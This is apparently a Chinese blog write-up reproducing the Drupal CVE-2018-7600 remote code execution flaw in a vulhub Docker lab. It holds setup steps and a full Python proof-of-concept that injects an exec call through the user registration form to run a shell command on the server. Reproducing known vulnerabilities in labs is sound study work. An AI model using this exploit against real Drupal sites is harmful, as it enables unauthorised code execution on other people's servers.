最近打的靶场不约而同地都用到了这个漏洞

好好复现下，主要针对的是Drupal的cms框架

漏洞环境搭建

主要利用vulhub漏洞靶场的环境搭建,建议docker配一个阿里云的镜像加速器，不然的话拉取镜像的时间会很久

在/etc/docker下创建一个daemon.json文件

写入

{
"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}

之后使用

systemctl daemon-reload（重载文件）

systemctl restart docker（重启docker服务）

发现使用docker-compose up -d命令可以迅速搭建好漏洞环境，一般在半分钟之内

启动docker容器

访问8080端口

安装完成

漏洞利用

 1 import sys
 2 import requests
 3 
 4 print ('################################################################')
 5 print ('# Proof-Of-Concept for CVE-2018-7600')
 6 print ('# by Vitalii Rudnykh')
 7 print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
 8 print ('# https://github.com/a2u/CVE-2018-7600')
 9 print ('################################################################')
10 print ('Provided only for educational or information purposes\n')
11 
12 target = input('Enter target url (example: https://domain.ltd/): ')
13 
14 # Add proxy support (eg. BURP to analyze HTTP(s) traffic)
15 # set verify = False if your proxy certificate is self signed
16 # remember to set proxies both for http and https
17 # 
18 # example:
19 #proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 #verify = False
21 proxies = {}
22 verify = True
23 
24 url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
25 payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
26 #发送恶意代码
27 r = requests.post(url, proxies=proxies, data=payload, verify=verify)
28 #验证
29 check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
30 if check.status_code != 200:
31   sys.exit("Not exploitable")
32 print ('\nCheck: '+target+'hello.txt')

发现在网站服务器上的确存在hello.txt(说明代码已经被执行)

参考文章

https://blog.csdn.net/qq_51295677/article/details/131975245

https://blog.nsfocus.net/cve-2018-7600-analysis/

https://xz.aliyun.com/t/2271?time__1311=n4%2BxnieDq7qCqAKDtKDsf32r7GO7DgD3oggYD

https://paper.seebug.org/567/